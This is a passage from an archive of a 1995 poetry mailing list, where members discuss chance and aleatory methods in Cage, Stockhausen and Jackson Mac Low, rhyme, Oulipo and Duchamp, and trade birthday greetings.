There is also a tremendous difference between a 'conscious' exploration and the unquestioning acceptance of either a doctrine or of a meaning generated by a system whose pre-determined fashionings are taken at the simplistic face value of being defended as necessary merely because they validate the integrity of the method. In other words it is equally reprehensible to invoke chance or trance as an excuse. Perhaps an incisive discussion could be revealed by paraphrasing Jackson Pollock 'mistakes don't exist'. What do you feel about that?

In these meanings there is a difference as you pointed out between the secular and the 'other' 'wise'.

How about

prescience / consciousness / attention / interference / energies / transferral / occurence / attenuation / exquisition

love, truth and beauty
the weasel - cris

↑ Index

127. **Jed**
Re: Aleatory Poetry
Mon 8 May 1995

Happy birthday to Ron Silliman --I think I've got that right, May 8th Ron? Last of your forties? It also happens to be Gary Snyder's 65th birthday today, AND Thomas Pynchon's (not 65 though). An all around poetry birthday week in fact: Charlie Simic, Chris Dewdney, Jorie Graham, Michael Palmer, Norma Cole, and Bernadette Mayer all in the next couple days.

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128. **Chris Stroffolino**
Re: Aleatory Poetry
Mon 8 May 1995

Birthdays----and Jennifer Moxley is the 12th of May i think, and Brett Ralph the 13th (with Stevie Wonder and Peter Gabriel) ah, be bullish on amerika! cs

↑ Index

129. **Herb Levy**
Oulipo (Sorry I'm late)
Mon 8 May 1995

I was away from my computer for a while, so I missed out on any real-time action in the big, big OuLiPo LoveFest here on <Poetics>. I mostly just want to say, as they do all too often on talk radio shows, <ditto>.

But I did also want to mention that David Bellos, who has translated most of the Perec that's now available in English, has also written a biography of Perec. It's no stylistic gem, but it is full of interesting OuLiPo lore.

- Herb

↑ Index

130. **Herb Levy**
Re: jazz/music
Mon 8 May 1995

On Mon, 8 May 1995, Tom Mandel wrote:

> *Sure, what the heck, lets...*

> *I've wondered whether Martial Solal took the name from Roussel, amalgumming Martial Canteral and Locus Solus. Thots?*
>
> *Tm*

Or perhaps his parents were early members of the Swiss/Canadian based cult that committed suicide en masse a while back. Wasn't that <the Army of the Sun>, or some such?

- Herb

↑ Index

131. Herb Levy
Re: aleatoric composition using chance
Mon 8 May 1995

Amidst the flurry of postings about who the Oulipians were, Ira Lightman's response Friday to the aleatory/chance thread he'd started a day or two before, seems to have been ignored.

Or maybe I'm the only one who has trouble with Ira's posting. Let's see. If this seems like it's heading too far into the music & isn't of interest to folks here, please let me know.

Ira, as I read your posts on this topic, you have some difficulties with Cage's use of chance and have posited Stockhausen's use of chance as a model that, in your eyes, is somehow more effective. To help me see the distinction you are drawing here, could you please give a specific example of what you see as Stockhausen's use of chance, so we can discuss how the two differ.

I'm not exactly sure what your issues with Cage are, though you clearly have some concern about his commitment to Buddhism. But in your posting you describe some aspects of Stockhausen's spirituality in detail and then dismiss Cage's as selling

> *himself, just a tad, on the guru aspect (like Pound with chinese culture) of recommending the Buddhist way of life.*

This is hardly a fair way to compare the two, especially given Stockhausen's own efforts to proselytize both musically and spiritually, so again, could you please give some specific examples so we can discuss how the two differ.

My concern is that very few people on <poetics> seem to have any sense of Stockhausen's work at all, and most people, even the erudite folks here, have little more than the odd received mis-information about Cage's work.

Without getting a clarification of what you mean in your characterizations of both artists, I don't see much here besides the fact that you clearly respond more favorably to Stockhausen's work than to Cage's.

I'd like to know more. When I want to compare top ten lists, I read <rec.music.classical>. I look forward to a deeper discussion here.

- Herb

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132. Carl Lynden Peters
chance, chanson, chant
Mon 8 May 1995

MARCEL DUCHAMP MARCEL

DUCHAMP MARCEL DUCHAMP MARCEL
DUCHAMP MARCEL DUCHAMP MARCEL
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DUCHAMP MARCEL DUCHAMP MARCEL

DUCHAMP MARCEL DUCHAMP

thanks,
carl

↑ Index

133. Herb Levy
Re: jazz/music
Mon 8 May 1995

Dear George -

I'm sorry to hear of the closure of Black Swan, though it had changed quite a bit over the years, there were still things there which I couldn't find elsewhere. In fact, I think I got my LP of Bunting reading <Briggflats> there.

Ah, well, there's already been much talk about the lamented demise of various book stores on <poetics>, do we now begin elegies for records shop closings as well?

Anyway, this is the time of year when it's hard to get through to Ken Pickering,'cause of planning for the DuMaurier Festival. I called him a week or so after your posting about the Aylers (about something else, actually) & haven't heard back yet.

I will see him when I'm in Vancouver for BlaserFest '95, though. I look forward to meeting you then as well.

Of course, that last <you> is a shifter including everyone reading this message on <poetics>.

- Herb

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134. Tony Green
Re: Aleatory Poetry
Mon 8 May 1995

Chris Stroffolino-- by chance I share a birthday with Delacroix and Wittgenstein, so that makes me a brainy painter --not.

↑ Index

135. Tony Green
Re: Oulipo en Anglais
Mon 8 May 1995

Re- R .Kelly's note on sigmas and epsilons. The " E " (epsilon) AT DELPHI? as in Plutarch's essay?

↑ Index

136. Wystan Curnow
Re: rhyme
Mon 8 May 1995

Dear H.T.,

As to the fellow, he rhymes like this:

In houses
the priceless dry rooms
of illicit love
where we live
hear the wash of the
rain--

There
paintings

and fine

metalware
woven stuffs--
all the whorishness
of our

delight

sees
from its window

the spring wash
of your love

the falling

rain--

and as for your guy,he rhymes like this:

I, MAXIMUS OF GOUCESTER, TO YOU

Off-shore, by islands, hidden in the blood
jewels & miracles, I , Maximus
a metal hot from boiling water, tell you
what is a lance, who obeys the figures of
the present dance

etc., etc. But this you know already?? if you say this ain't rhyme, what you're really mean is it aint in regular metre. Rhyme is actually one of the conventions of 'free verse', so what might might be of interest then are the rules of its distribution. Back to you.

Wystan

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137. maria damon
Re: Aleatory Poetry
Mon 8 May 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Happy birthday to Ron Silliman --I think I've got that right, May 8th Ron?
> Last
> of your forties?
> It also happens to be Gary Snyder's 65th birthday today, AND
> Thomas Pynchon's (not 65 though). An all around poetry birthday week in
fact:

> Charlie Simic, Chris Dewdney, Jorie Graham, Michael Palmer, Norma Cole, and
> Bernadette Mayer all in the next couple days.

i'm thrilled to know there are so many fellow taureans whose work i admire. we're not generally known as a super-creative sign, so i'm always glad of evidence to the contrary.--maria d

↑ Index

138. Carl Lynden Peters
Re: chance/trust
Mon 8 May 1995

---

cris, hi: pollock was right on the mark when he said that. but then he was a high thinking painter, too.

take care,
carl

↑ Index

139. Carl Lynden Peters
To all appearances...
Mon 8 May 1995

---

are there any duchamp -- sorry to keep bringing him up -- experts out there, -- i'm a duchamp fanatic, that can tell me what this sentence means. it's from his brief, very, very brief but oh God so brilliant lecture on "the creative act":

"To all appearances, the artist acts like a mediumistic being who, from the labyrinth beyond time and space, seeks his way out to a clearing."

i get the mediumistic part of it, which i interpret as the artist as shaman, but what does he mean: "... the labyrinth beyond time and space, seeks his way out to a clearing." ???

i'm starting to think about this sentence in relation to benjamin's essay "the destructive character," i think, primarily because of my focus on the word: "clearing."

i'd appreciate any insights you may have.

thanks for this,

carl

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140. Tony Green
Re: Aleatory Poetry
Mon 8 May 1995

Maria, add Shaks to yr list of creative Taureans -- even if Cordelia was a bit of a mess,as some think. Trad date of birth 23 April (conveniently St George's day) best

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141. Susan Clark
Re: Looking for . . .
Tue 9 May 1995

Hi Kevin

I have Mac Low, street tel and fax, if you want to email me "backchannel".

Susan [Clark]
[redacted]

↑ Index

142. Sheila E. Murphy
Re: Aleatoric Spree
Tue 9 May 1995

Responding to a couple of points recently made in the general subject area of aleatoric procedures:

Since someone's referenced the comparison between Stockhausen and Cage, I'd have to say that, on reflection, the pairing of these individuals seems unlikely, perhaps a chance occurrence in itself.

Initially positioned as a departure from tradition, 12-tone music easily evolved into an alternative classical system of its own. In spite of its detractors (seems that every gesture needs to spawn some little mosquito of a battle), 12-tone music gathered clout, probably because of its packaging and therefore susceptibility to surface understanding.

As a part of studies in music theory and composition, we were assigned to create in this vein, and I remember fondly the making of charts, and the kinds of discoveries they helped spawn. These later factored into some of my chance procedures in writing, providing ways to turn out equivalent disposable containers (as distinct from focusing on more traditional foundry).

I think it was Chris who suggested that a scope (or an ear trumpet?) might be applied to the squishy vocabulary that has slithered out of this discussion.

Having been responsible for some of the language, I'll just say that the concern with it represents a fair call.

The only thing in response might be this: I don't look upon chance procedures as the components of a religion. The process and the results are engaging and stimulating enough to warrant some excitement, I think. But in a bigger picture, I believe there is a spectrum that runs from expectation and surprise, with chance as one form of expression representing heavily the surprise side. Compositional methods and procedures comprise the respected instrument, or an extension of whatever instrument we might construe for making. The "woo woo" factor is not a stopping place, but is hard to ignore sometimes.

The more one makes a place for chance occurrences in one's writing, the less of a fuss needs to be made about it. I know I'm not unique in doing this without announcement. While some works wind up being named after their progenitor (the method), many just slip by and arrive wearing other nomenclature. It just depends upon the sort of birth announcement that seems warranted.

I don't mean to denigrate any focus on this subject, because it represents a stimulating aspect of writing. But, finally, the process can't be islanded off on its own and looked at independent of the creative process. That would mean a partial view of the actual process.

Sheila Murphy
[redacted]

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143. George Bowering
Re: Aleatory Poetry
Tue 9 May 1995

Hey, I share a birthday with Woody Allen. I wonder about the implications.

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144. Chris Stroffolino
Re: Aleatory Poetry
Tue 9 May 1995

---

tony green--sure the self is a construction (though some times it feels further away than others i guess) and the collagist aspects of ontology "might as well" be seen only in impersonal terms of "religious"/"miracles"/"oracular"/and the economic term cheek used, nonetheless I was born the day Ginsberg wrote Death News about WCW, (3-20-63), and share the day with Spike Lee, Mr. Rogers, Ovid/Ibsen/ that woman who does Piano jazz but whose name i forget/Hal Linden/ Jerry "Amos

Moses" Reed/and Jerome Rothenberg's wife.... Hey Silliman does this make me a NY school poet????? CS

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145. **George Bowering**
Re: Aleatory Poetry
Tue 9 May 1995

Dont forget Robin Blaser's birthday this week.

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146. **George Bowering**
Re: jazz/music
Tue 9 May 1995

Naw, I figure Martial Solal took his name from the Roman writer and the west coast shrub, only he spelled salal wrong.

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147. **Chris Stroffolino**
Re: Aleatoric Spree
Tue 9 May 1995

I'm wondering if there is a certain "unwritten law" of an "interpretative community" informing the discussion on aleatory music and conferring on it a certain legitimacy denied to more lyrically based forms such as punk and rap and grunge and blues and 60's rock...Because to talk about rock it seems to talk about "hybrids" that isn't as sophisticated lyrically as poetry nor is as sophisticated musically as Stockhausen etc. and thus is low culture and worse, it SELLS! (and either there is envy or contempt of such)...and if we put poetry in dialogue with rock lyrics surely poetry can not be said to aspire to "THAT KIND OF MUSIC"....movies, theatre, theory, painting....of the "sister arts" to poetry rock music ain't one of them..... I saw Joan Retallack read the other day she said that Emerson gave her an early authoritative defense of "inconsistency"--- And then there was an accessibility panel and I asked Bill Luoma if he considered "angst" more "accessible" than "flippancy"....and he said "angst, unless you are....."(he named someone here from the New York scene, it doesn't matter who. The point is he gave a quick answer.) Yours from the gossip beat, Chris

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148. Charles Alexander
Re: Looking for . . .
Tue 9 May 1995

On Mon, 8 May 1995 18:01:37 +0100,
Kevin Killian <[redacted]> wrote:

>Anyone with the RL addresses of Jackson MacLow and Denise Levertov.
>
>Please! Thank you!
>
>-Kevin Killian
>
>
Kevin, I'm not certain what an RL address is. I have Jackson's home address,

42 North Moore St.
New York, NY 10013

and I have his phone & fax number, which are the same number, [redacted]. I don't have an e-mail address.

I don't have anything for Denise Levertove, but I thought she was, at least part of the year, a member of the faculty at Stanford, so you might try her through the English Department there.

And let me know what an RL address is.

all best,

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

149. Kevin Killian
Re: birthdays
Tue 9 May 1995

I don't understand this birthdays thing, but.....

I was born on the same day as Jimmy Hoffa.

Top that.

Dodie Bellamy

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150. Charles Alexander
addresses
Tue 9 May 1995

Sorry, I meant to send my last message direct to Kevin Killian, and hit a wrong key, sending it to all of poetics. My embarrassed apologies to all, particularly to Jackson. Unfortunately one can't retrieve e-mail before delivery.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

151. Mark Wallace
two of everybody
Tue 9 May 1995

I like this idea of there being more than one of everybody. I've now figured out that it's true in my case two.

The Mark Wallace who makes consistently intelligent comments is me. The foolish, overbearing one is the other guy.

But if that's true, how come I like the other one better?

I'll have to ask him.

mw

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152. H. T. KIRBY-SMITH
rhyme
Tue 9 May 1995

It is helpful if one wants to chime in about rhyme to take time to watch out for what it isn't. For example, "live" and "love" echo one another but what you have is consonance, not rhyme. Rhyme has to do with vowel sounds being the same or losely similar, followed by one identical consonant sound. Beyond that are all the degrees of slant rhyme, quasi-rhyme, and assonance. Some of the most remarkable inventions along this line are in Sylvia Plath's pre-Daddy poems,

written about 1956-1958. I don't think I have ever in my life used the word "Protean" before but that describes rhyme to me.

Edmund Wilson onece made up something called "reverse rhyme"--i.e. in one line you ended with "grab" and the next with "brag" or "barge"--I think. It made no sense at all but did sound pretty funny.

Since there are only a limited number of combinations of sounds in any given language there are always going to be rhyming words. To point out accidental, or even semi-intentional echoing is like pointing out the dandelions in a lawn. Yeah, they are there all right and they look pretty. But they planted themselves.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

Phone: [redacted]

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153. H. T. KIRBY-SMITH

Williams poem

Tue 9 May 1995

Just wanted to acknowledge seriously my gratitude to Wystan for putting on the Williams poem. I don't know why it wasn't one of my favorites before but it is now. You know, Williams was enormously admiring of Keats when he was a teenager and his earliest poems were Keats imitations. In this poem I think that we see a progression of interwoven sounds much like Keats at his best--the Keats of "To Autumn." Both H.D. and Williams, it seems to me, took things that had been ancillary to Romantic poetry and extrinsic ornament in some Victorian poetry, and made them organically functional in their own poems. It doesn't seem to me there are any rules for what they did; but I do think that we can look at what they did and arrive at a consensus, or at least a set of overlapping perceptions, as to what they did.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

Phone: [redacted]

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154. **Aldon L. Nielsen**
Re: unsolo locus
Tue 9 May 1995

---

but there are also "your old copies of _Locus Solus_ the mag.! not to be forgotten; name drawn from same novel Tom describes. ed. by Ashbery, Mathews, Koch & Schuyler out of Paris in early 60s. Check your nearest univ. library to see if they have a copy. Some good work in the mag that wasn't reprinted in later books.

↑ Index

155. **cris cheek**
birthdays
Tue 9 May 1995

I'm turning over a new year on Thurs 11th. Feeling pretty and bullish. Must be the May buds. There, even my friends don't know - but now I've just told

strangers - well, what do all those people who don't write poetry do? Who notices their passages?

love cris

↑ Index

156. **Joe Amato**
Re: birthdays
Tue 9 May 1995

---

well speaking of may babies---i was born on the 31st., which brings an end to my fourth decade as a twin (love boasting about how i share this day with whitman)...

posting this to the list is so-------

i'm not proud////

hey kali, what about tu? or should i hush up?

joe

↑ Index

157. **Jim Rosenberg**
chance / choice spaces
Tue 9 May 1995

---

re Jackson Mac Low:

Jackson once told me (perhaps this is common knowledge) that he started using chance operations because he was concerned that his writing had become too sentimental. He stopped using chance operations -- because he found the writing too sentimental!

re Cage:

The thing that has always blown my mind about John Cage is that back in the '30s -- long before the technology of electronic music existed -- he understood that it was coming, that technology would exist that would allow any sound theoretically possible to actually be heard, and thus needed a basis for composing music based on the geometry of sound itself. Before Cage, composing music meant creating instructions either for the singing human voice or for manipulating a particular (read ideosyncratic to each particular culture) set of historical artifacts known as musical instruments. Cage enumerated the dimensions of sound: pitch, timbre, loudness, duration, morphology (more typically called envelope these days, I think). His confrontation with the world of sound was whole, was total, was so completely central that this "acoustical" point of view has influenced hundreds of composers who might deny vehemently any aesthetic connection with Cage.

Chance is a mechanism for providing answers; the composer provides the questions. Cage would constantly explore to find the geometry of the *choice space* to know how to forumulate these questions. (It is one of the many paradoxes of work with chance operations that chance is a more effective method of filling a choice space than choice ...) E.g. he would constantly go to musicians and ask them to show him the whole range of everything they could do with their instrument -- working out the dimensions of that musician's practice.

What are the dimensions of the choice space of language? Of language itself? John's mesostics leave this as a question not really undertaken. The very word 'dimension' sounds odd with respect to language. What do we do with syntax? How many dimensions are there to syntax? The question sounds very odd. Yet *dimension* is exactly the kind of thing you seek in doing chance operations: the scale against which to apply the random number. In fact, Cage's mesostics did not apply operations to language, but to *text*. In the face of an intractable choice space one retreats to a much more tractable space, the space of text *finding* operations. It gave me no pleasure at all when I was told that John used one of the programs I wrote for him every day -- for years on end -- instead it leaves me with a haunted sense of unease. What would we think of John Cage as a composer if he had written no other music than the pieces for radios? Had stuck to the exact identical method making pieces for radios for years at a time?

So we are back to the question: what is the geometry of the choice space of *language* -- the total space of all conceivable circumstances of language, text or no text. I don't have an answer, would never claim to have even *started* on an answer.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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158. I.LIGHTMAN
working papers from chancy gardiner
Tue 9 May 1995

From: CPCMB::P280 "I.LIGHTMAN" 7-MAY-1995 17:25:30.88
To: P280
CC:
Subj: numbers

14, 56, 75, 46
129, 34, 8, 65
19, 76, 87, 93
34, 56, 83, 57
79, 64, 24, 1
97, 53, 75, 3
5, 57, 8, 71, 50
23, 56, 67, 9
45, 65, 29, 40, 91
27, 86, 53, 35
9, 86, 19, 93, 2
25, 58, 73, 4, 90, 12
35, 65, 47, 8
87, 24, 95, 80, 26, 73
84, 51, 37, 2
6, 66, 19
94, 92, 01, 03
12, 49, 83, 19, 34
54, 6, 99, 80, 24, 94
7, 62,
28, 93, 18
16

91, 6, 30
97,
33, 39

↑ Index

159. I.LIGHTMAN
working papers from chancy gardiner (2)
Tue 9 May 1995

From: CPCMB::P280 "I.LIGHTMAN" 7-MAY-1995 17:33:34.25
To: P280
CC:
Subj: mumble

1 This 2 is 3 the 4 year 5 1997 6 and 7 there
8 are 9 gale 10 winds 11 in 12 the 13 west, 14 never
15 a 16 note 17 played 18 in 19 discontent 20 and

21 in 22 a 23 place 24 where 25 animals 26 play
27 the 28 imagined 29 margins 30 soar 31 with 32 letters
33 flung 34 at 35 odd 36 intervals 37 and 38 ink
39 spills 40 a 41 clear 42 running 43 relevance
44 moved 45 to 46 safer 47 particles, 48 absolved.

49 These 50 are 51 the 52 words 53 the 54 heart 55 makes
56 forgetting 57 its 58 injunction 59 to 60 exercise
61 while 62 floating, 63 fingers 64 succumb 65 to
66 the 67 temptation 68 to 69 imply 70 themselves
71 or another, waiting, presumptive.

75 Do not argue, I want to say, there
83 is 84 not 85 enough 86 time, 87 I 88 don't 89 even 90 know
91 what 92 thought 93 might 94 bring 95 the 96 third 97 day
98 and 99 something 100 beats now, wanting
only to be subject, object too, yours.

What will the hospital say, the treadmill,
another language of not knowing, as if
anything else were possible, today or
another time, invisible, flags from porches
forego the year, the skin, the tissue.
We are flying on the ground.

charles alexander

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

160. **I.LIGHTMAN**
chance / trust cris to object
Tue 9 May 1995

> "get particular here please. I'd be just as worried by anyone using chance methods in the understanding that by so doing they can by-pass or somehow circumnavigate subjectivity (taking what's been said about curbing the sprawl of the ego into account here) as by the assertion that one accept 'fate' as dictated by a horoscope constructed by rote to the extensive purposes of political manipulation as documented in 'Religion and the Decline of Magic' by Keith Thomas (an important book on the subject from the viewpoint of 16th and 17th century england - wicca, astrology, Protestant rationality and Magiq from which, opening that book at 'random' i quote 'the medieval church thus did a great deal to weaken the fundamental distinction between a prayer and a charm, and to encourage the idea that there was virtue in the mere repetition of holy words' or 'the very impenetrability of the formaula helped to give it its power')."

Waal, sometimes there is. What if you look at the huge number of daily and weekly and monthly magazines that carry horoscopes - that makes not a unitary astro-church producing one horoscope which clearly I would be an idiot to read as if it linked me with all Aries - no, it makes a range of magazines, and I might find a Daily Mail, or a Times, or a Cosmopolitan, in a train carriage or the street or a friend's or a rival's house, and *that* issue's horoscope in *that* magazine that I don't normally read might be instructive on *that* day. (As it is, I also find that the Aries horoscope in the Pink Paper, the free lesbigay weekly, is pretty reliably right about my life). Plus one can hardly say that a horoscope one has generated for oneself by chance methods (eg my favourite game is picking a book off the shelves, a page number, a line number, then a sequence of numbers - eg, 2, 5, 1, 8 - and writing down the 2nd then 5th then 1st then 8th word on that chosen line, and seeing what message you get - I did my procedure on Charles' poem >thanks for the thanks, Charles< by noting swiftly that his poem had 100 to 150 words and then switching to a blank screen and writing a poem of numbers in that range, then going back and substituting each number for the word at that point in Charles' poem - I'll post my working papers in a minute - then trying to edit the result, goofing up and producing, by chance

interaction with the machine, the poem I sent to the list) has been imposed by a totalising state or religion. You can say that I am acting as if I wanted to be subject to a regime that took away my decision-making will and let me off responsibility for my fate, but it aint that way for me - I often bicker with most new Age people and astrologers, because, in fact, they prove to have very fixed beliefs about how one should act and use chance methods to come to what they probably would have advised you or themselves anyway - advice which may well, as Cris indicates, partake of suspicious "higher" agendas, like "love money", "put your family ahead of society", or "I recommend you sign up for a course of twenty sessions with my friend the expensive Shaitsu counsellor, and don't forget to remind him about my cut... I mean, to tell him I sent you". But so do many people have such higher agendas, based on complicity with bullying power blocks/capitalism/ anti-intellectualism/anti-emotionalism - that isn't an issue of figuring chance as a divining instrument, not part of the language or logic. There are plenty of groups that use words like

"prescience / consciousness / attention / interference / energies / transferral / occurence / attenuation / exquisition"

and fuck you over, bully you, want you to join their church; sometimes, in the context where such "hypocrisy" (if one links language with behaviour) operates behind the nice words, it is an act of dissent, not high church, to use words with a religious "history", to keep things unorthodox thus creative

truth is beauty is easily reordered

Ira

↑ Index

161. I.LIGHTMAN
Re: rhyme
Tue 9 May 1995

I think Thom Gunn's rhymes in "The Man With Night Sweats" do more for AIDS awareness than William Carlos Williams or any others (like myself soon) with doctorates, not as a spoonful of sugar on the medicine going down, sometimes what is good about the ear is the way it circulates widely, the bloody nose for the bleeding heart bellying up,

Ira

↑ Index

162. **I.LIGHTMAN**
Re: Aleatoric Spree
Tue 9 May 1995

I sent a run of messages this morning, then got more to respond to afterwards, so sorry for sending this one too:

I want to respond to Chris Stroffolino, and Sheila and Herb - like all of you, I don't want to bash any kind of music, or just state idle preferences. Like you say, Herb, so many say things about Cage who don't seem to know the music but, rather, the seemingly graspable aesthetic theory. And like you say, Chris, there's a lot of snobbery vs punk, pop, amplified guitars etc. And like you say, Sheila, the twelve tone system can just solidify into another classicism (though will it survive as such, is this a kind of sulky - bad for them - intransigence?).

All I want to do is quiz some of the oppositions that underlie loyalty to *one* kind of music at the expense of all others, not keep saying "Stockhausen" over & over till everyone listens to him or ignores me. One of my first posts to the list, Herb, was to say like you that Cage is too readily appropriated, and seems to stand for some very narrow-minded avant-garde approaches to music in non-musicians; or, in other words, if a poet doesn't want to put in the hard work involved taking music seriously, he/she can say "I like Cage" and thus, in one foul swoop, justify never wanting to listen to pre-Cage classical music or any New Music done by those who differ from Cage eg (for my tastes) Boulez and Stockhausen AND (in the same swoop) seem to be into avant-garde music by being a fan of John Cage. Let me rush to say that this formulation does not apply, in the slightest, to you Herb, or any of the others who have posted about Cage on this list in this discussion, there's been some wonderful discussions of sound and texture, which are issues for pets (poets?) too.

I guess it's like the discussion on rhyme too, in that I don't believe one strikes a blow against the establishment by being anti-rhyme (ie consciously teasing a reader who wants rhyme) or "anti-classical", since there's a hugely dominant hatred of most classical music by people afraid to engage with it, so it seems to me, except via a few of the greatest hits (in this case, Chris S., I would worry about popularity, not that one thing is popular but that it is used in an Eighties way, to justify streamlining out more marginal things, and there is this love of say melody that inspires lazy record producers to ignore soundscape, bass, and polyphony in order to produce a sound] Beavis and Butthead can headbang too - though I think Beavis and Butthead are cool). So it doesn't worry me that twelve tone music might get classical, except in so far as you get music that suits the intellectual rules of musicologists and don't move me or nuthin'.

Chris S, me, I like Alternative Television, Boulez's settings of Rene Char, Bjork, Sleeper, Mo Tucker's first solo album, Stockhausen's Samstag. I really like

silence and I really like noise. Some people really like delicacy and are dillweeds about noise; some people love noise and can't cope with lack of a beat or oddity or silence. I'm not anti punk, but I am anti anything that thinks it's outdated everything previous when all that means is you can't be a fan and also listen to anything previous; I also think this society of mine lacks for nothing punk, rude, harsh, anti-bourgeois, yet lacks all the time in gentleness, open ears, complex thinking; so, at the moment, I turn to classical music to be challenged by the way it's complex, intense, yet grounded in the ability to be still - then I might make art that is nothing like classical music, but still has these things, which this society of mine lacks. Oh, and I write in a guitar band that uses rhythm (even if it is sometimes 7/8) and limited chords (even if some do come from Stravinksy), and lyrics out of Language Poetry but also Liz Phair. And I try to be open to what others are doing, and encourage those who cross the boundaries as I describe them, cos I never felt that much encouragement or recognition of my attempts by anyone older than me.

I think Pound was right that poetry mustn't stray too long from music(s); if the poet only buys into one music, especially one that sells itself as superceding all others, things ossify quickly,

Ira

p.s. anyone who doesn't want to read Herb and me talking about Cage and Stockhausen should leave this message here...

Herb, I agree with you that Stockhausen proslytises too, I was only making that jibe in response to your earlier message suggesting one might think of Cage's use of the I-Ching just in terms of numberm] , and it wouldn't be such an issue then; and I was just responding that (since I think Cage *does* use the I-Ching mostly as a number system) that the question remained of being a bit of a guru and yet not being part of a complex sacral system, but in fact an easily grasped rite in isolation. I don't mind Stockhausen being a guru, because I think he's very serious about setting up a complex sacral system that' one cannot grasp quickly or easily.

Anyway, fulfilling your kind request, here's some specific examples of Stockhausen's aleatoric work:

Discussion of Klavierstuck XI, from Stcokhausen, by Michael Kurtz, trans Richard Toop, Faber, London, 1992:

"Nineteen groups of notes - all derived from the same basic principles, whereby the pitches and the rhythmic structures are interrelated - are distributed irregularly over a sheet of paper measuring 53 by 93 centimetres. The pianist is to look 'without prior intent' at the sheet of paper, and begin with whatever group his or her eye happens to light on first. Tempo, dynamics and mode of

attack are free. At the end of each group is a tempo indication, a dynamic level and a mode of attack, all determining the way the next group (again, selected by a random glance) is to be played." (pp 86-87)

Stockhausen interviewed in "Towards a Cosmic Music", Element Books, Shaftesbury, Dorset, England, 1989:

"We know from tradition that composers' moments of intuitive inspiration have constantly been seen as decisive. Viewed intellectually, that is 'indeterminacy' in terms of tradition. From the standpoint of intuition, however, which is also a human experience albeit little utilised today, the outcome involves a highly specific 'determined' music."

(my commentary - I love this, it looks like paradox, but it is a way of saying that one movement often begins with pseudo-explanations of what it is doing, simply in order to get the new vibe out there, to get people to engage with the art, take it seriously, feels its shape and texture and resonances - sometimes you even need to kid *yourself* you have (intellectual) "reasons", when you are simply letting historical change occur through your ministry; like all those sci-fi time-travel films where we share in the sense of the good guys forcing a crucial historical event which we know in the future went really well - "Backbeat", the film about the Beatles, for example)

"For the moment there are only very few such musicians, completely dedicated to their work which they don't just see as a job - musicians of extremely great sensitivity ready to follow intuitive inspiration. They must also carry out specific preparatory spiritual exercises before they play. Their entire way of life must be dedicated to this kind of intuitive music. They can't drink a beer and then start playing five minutes later, unaware of their responsibility"

(This interests me, especially the not drinking beer, where I *agree* with Cage on the value of macrobiotics and care over one's intake and what specific foods *do* to one's state; I'd cross-reference this with the point that this doesn't have to mean "don't listen to other music" as the composer himself wrote a piece sampling national anthems and letting them interact with each other)

"my music is absolutely dependent on intuitive players capable of working in a group...a traditional string quartet doesn't offer any comparison since it plays rationally determined music... in free Jazz and in other traditions, such as Indian music, there are, however, always rules, schemata, etc., providing a framework for 'improvisation'. A group of musicians playing *purely intuitively* is an innovation in *all* traditions."

(Cris Cheek has said this before on this list about much improv)

"In my Aus Den Sieben Tagen pieces, the musicians sometimes play for forty minutes on the basis of two or three sentences. The music provides spiritual

orientation derived from the text. The players are much more relaxed than if I demand that they rehearse for a week when they would have to work much harder, physically and intellectually, to decipher something that I encoded in the eye language of musical notation. The written directives bring them into more direct contact with intuition than paper covered with notation."

(Sometimes it is not a question of expanding the syntax *on the page*, but of giving that task a rest and opening up the current syntax of musicality in writers or writing in music or performance or the life of the artist or reader, their horoscopes and paths)

"That's xactly what's involved in intuition. Musicians establish a direct link with intuition by way of my texts. In the years ahead I must investigate whether, for instance, a specific written instruction leads to a specifically archetypal music - as compared with another instruction. How can we discover ways of regulating the process of intuitive music making?"

1969, pp.35-39

↑ Index

163. cris cheek
chance / trust cris to object
Tue 9 May 1995

Ira, I'm not down on chance at all. And I'm susceptible to dowsing.

However to say that -

> *it is an act of dissent, not high church,*
> *to use words with a religious "history", to keep things unorthodox thus*
> *creative*

evades the question about meaning. Are we each in a hermetically sealed world-corridor of mirrors gleefully transgressing (dissent rapidly becoming a norm) or are we in clusters of suchlike each replicating, within the music of the spheres of its own codes, a whole - the ballroom mirror ball of the Divine Santa Maria della Bolognese?

The secondary list of words was there to re-inforce exactly that request for context and use. Yes, we can play the 'good - bad' substitution inversions and the punk nazi regalia sneers BUT you underline my question acutely by saying, and I agree with you the -

> *fuck you over, bully you, want you to join their church; sometimes,*
> *in the context where such "hypocrisy" (if one links language with behaviour)*
> *operates behind the nice words*

It's not a corner Ira shop, it's a let's get specific in the cause of which I'd also support Herb re the assertions towards Stockhausen and Cage. Ok - I 'm off into the bathroom now to sing a couple of verses of 'FEELINGS'.

yours in perpannuity, from your loving trust object 'the self' luther von beatty

↑ Index

164. Ryan Knighton
Re: two of everybody
Tue 9 May 1995

---

read george's "little me". i guess when george reads it there's three of him.

ryan

↑ Index

165. John Keeling
Thank you
Tue 9 May 1995

Dear Jim,

You package arrived in the mail yesterday and I want to send along my gratitude. Although I have only glanced at "Diffractions" I think it looks very very interesting. I will be bothering you with more detailed responses in the future if you don't mind.

In any case, I'm swamped right now but did wnat to thank you so much for your poetry.

best wishes,

john keeling

↑ Index

166. Tony Green
Re: unsolo locus
Tue 9 May 1995

I note apropos Roussel and New York that J Ashberry wrote intro to M Foucault ^ Death and the Labyrinth: the world of Raymond Roussel^ trans Charles Ruas, Athlone Press 1987.

↑ Index

167. **Tony Green**
Re: Aleatory Poetry
Tue 9 May 1995

To Chris Stroffolino et al, birthdates on homepages bring in cards and presents (chapbooks, perfects, hardbacks, book tokens)?

↑ Index

168. **Tony Green**
Re: birthdays
Tue 9 May 1995

Dear chris, happy passage to you, etc

↑ Index

169. **Sheila E. Murphy**
Re: birthdays
Tue 9 May 1995

> *I'm turning over a new year on Thurs 11th. Feeling pretty and bullish. Must be the May buds. There, even my friends don't know - but now I've just told*
>
> *strangers - well, what do all those people who don't write poetry do? Who notices their passages?*
>
> *love cris*

Happy birthday, Chris! I've often wondered what non-writers do in general, not to mention in recognition of passages!

Sheila E.
>

↑ Index

170. **Patrick Phillips**
